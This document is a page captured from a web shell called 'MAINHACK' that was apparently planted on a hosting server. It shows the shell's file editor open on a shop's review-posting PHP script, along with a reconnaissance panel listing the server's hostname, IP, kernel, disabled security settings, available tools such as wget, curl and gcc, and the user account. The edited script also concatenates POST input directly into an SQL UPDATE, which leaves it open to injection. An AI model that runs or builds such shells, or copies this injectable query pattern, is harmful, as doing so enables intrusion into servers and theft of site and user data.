[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: given-reviews.php
<!-- Header include --> <?php include("header.php"); $uid=base64_decode($_REQUEST['uid']); $pid=base64_decode($_REQUEST['pid']); if($_SESSION['login_id']==''){header("location:index.php"); } $stmt1=$show->readwithdata('user','user_id',$_SESSION['login_id']); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ $uname=$row['name']; $uphone=$row['phone']; $uemail=$row['email']; $upassword=$row['password']; $usex=$row['sex']; $ustate=$row['state']; $ucity=$row['city']; $uaddress=$row['address']; $upincode=$row['pincode']; } } $sq1=$show->readwithdata('product','product_id',$pid); while($row1=$sq1->fetch(PDO::FETCH_ASSOC)){ $rtotal=$row1['review_total_num']; $rating=$row1['review_num']; } ?> <!-- // Header Inculide --> <!-- Inner-Banner --> <div class="inner-banner"> <img src="images/banner2.jpg" alt="" class="inner-banner-img"> <div class="container"> <ul> <li><a href="given-reviews.php" class="active">Given Reviews</a></li> | <li><a href="index.php" class="">Home</a></li> </ul> </div> </div> <!-- // Inner-Banner --> <div class="reviews-container"> <!-- tittle heading --> <div class="inner-title"> <h2>Given Reviews</h2> <h3>Reviews</h3> </div> <div class="container"> <div class="w3_login_module1"> <div class="module form-module" style="max-width:100% !important; margin-top:0;"> <div class="form"> <form method="post"> <span class="RatingGive">Rating - </span> <div class="rate"> <input type="radio" id="star5" name="rating" value="5" required=""> <label for="star5" title="text">5 stars</label> <input type="radio" id="star4" name="rating" value="4" required=""> <label for="star4" title="text">4 stars</label> <input type="radio" id="star3" name="rating" value="3" required=""> <label for="star3" title="text">3 stars</label> <input type="radio" id="star2" name="rating" value="2" required=""> <label for="star2" title="text">2 stars</label> <input type="radio" id="star1" name="rating" value="1" required=""> <label for="star1" title="text">1 star</label> </div> <input type="text" name="name" readonly value="<?=$uname?>" placeholder="Name *"> <input type="text" name="phone" readonly value="<?=$uphone?>" placeholder="Phone *"> <input type="text" name="email" readonly value="<?=$uemail?>" placeholder="Email *"> <input type="hidden" name="uid" value="<?=$_SESSION['login_id']?>"> <input type="hidden" name="product_id" value="<?=$pid?>"> <textarea name="review" required="" placeholder="Share your experience with us *"></textarea> <input type="submit" name="rev" value="Post your Review" class="btn btn-success"> </form> <?php if(isset($_POST['rev'])){ $data=array( 'name'=>$_POST['name'], 'email'=>$_POST['email'], 'review'=>$_POST['review'], 'rating'=>$_POST['rating'], 'user_id'=>$_POST['uid'], 'status'=>'Not-Published', 'date'=>date('Y-m-d'), 'product_id'=>$_POST['product_id'], ); $r=$show->insert('review',$data); // print_r($data); if($r){ if($rating==0){ $rt=$_POST['rating']; $rating_num=($rt)/1; }else{ $rt=($_POST['rating']+$rtotal); $rating_num=($rt)/($rating+1); } $sq1="update product set review_num=review_num+1,review_total_num=$rt,rating_num=".$rating_num." where product_id='".$_POST['product_id']."' "; // echo $sq1; $s1=$con->prepare($sq1); $s1->execute(); echo '<script> setTimeout(function() { swal({ title: "OK!", text: "Your review has been posted.Thank you for your time.", type: "success" }, function() { window.location = "review.php?pid='.$_REQUEST['pid'].'"; }); }, 1000); </script>'; } } ?> </div> </div> </div> </div> </div> <style> .w3_login_module1 { position: relative; width: 35%; overflow: hidden; background: #4b6e74; border-radius: 20px; text-align: center; -webkit-box-shadow: 1px 0px 50px 3px rgba(0, 0, 0, 0.07); margin: 20px auto 100px; } .w3_login_module1 form { padding: 25px 14px; border-radius: 10px; display: inline-block; margin: 0; } .w3_login_module1 form .btn-success{box-shadow: 0px 20px 20px -15px rgba(0, 0, 0, 0.5); display: inline-block; transition: all 500ms ease-in-out; vertical-align: middle; padding: 12px 0; border: 0px solid #ffffff; border-radius: 100px; background: linear-gradient(to top, #4b6e7466, #fff); color: #000; text-transform: uppercase; margin: 15px 0 5px 0; font-size: 13px; width: 50%; text-align: center; font-weight: bold; letter-spacing: 1px;} .w3_login_module1 form .btn-success:hover{background: #72959b; color: #fff;} .w3_login_module1 form textarea, .w3_login_module1 form input[type="email"], .w3_login_module1 form input[type="text"]{border: none; border-bottom: 5px solid #203639; width: 90%; margin: 5px; padding: 10px 20px; border-radius: 6px; color: #2a4d53; font-size: 15px; background: #ffffffe8;} .w3_login_module1 form input[type="text"]:hover { border-bottom: 5px solid #203639; background: #fff;} .w3_login_module1 form input[type="Email"]:hover { border-bottom: 5px solid #203639; background: #fff;} .w3_login_module1 form textarea:hover { border-bottom: 5px solid #203639; background: #fff;} .rate span{width: 50%; float: left; text-align: left; font-family: 'Croissant One', cursive; font-size: 16px; line-height: 45px; padding: 0 0 0 20px; color: #5b0507e3;} span.RatingGive{text-align: left; font-size: 20px; line-height: 45px; padding: 0; color: #fff; position: absolute; left: 35px; top: 30px; font-family: "Abel-Regular";} .rate{display: inline-block; position: relative; width: 90%; padding: 0 0; margin: 0;} .rate:not(:checked) > input { position:absolute; top:-9999px; } /*.rate:not(:checked) > label {*/ /* float: right;*/ /* width:1em;*/ /* overflow:hidden;*/ /* white-space:nowrap;*/ /* cursor:pointer;*/ /* font-size:30px;*/ /* color:#ccc;*/ /*}*/ .rate:not(:checked) > label { float: right; width: 40px; overflow: hidden; white-space: nowrap; cursor: pointer; font-size: 20px; color: #eff2f2; margin: 10px 10px 0 0px; } .rate:not(:checked) > label:before { content: '★ '; } .rate > input:checked ~ label { color: #ffc700; } .rate:not(:checked) > label:hover, .rate:not(:checked) > label:hover ~ label { color: #deb217; } .rate > input:checked + label:hover, .rate > input:checked + label:hover ~ label, .rate > input:checked ~ label:hover, .rate > input:checked ~ label:hover ~ label, .rate > label:hover ~ input:checked ~ label { color: #c59b08; } </style> <!-- Fotter Inculide --> <?php include("footer.php"); ?> <!-- // Fotter Inculide -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.12 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619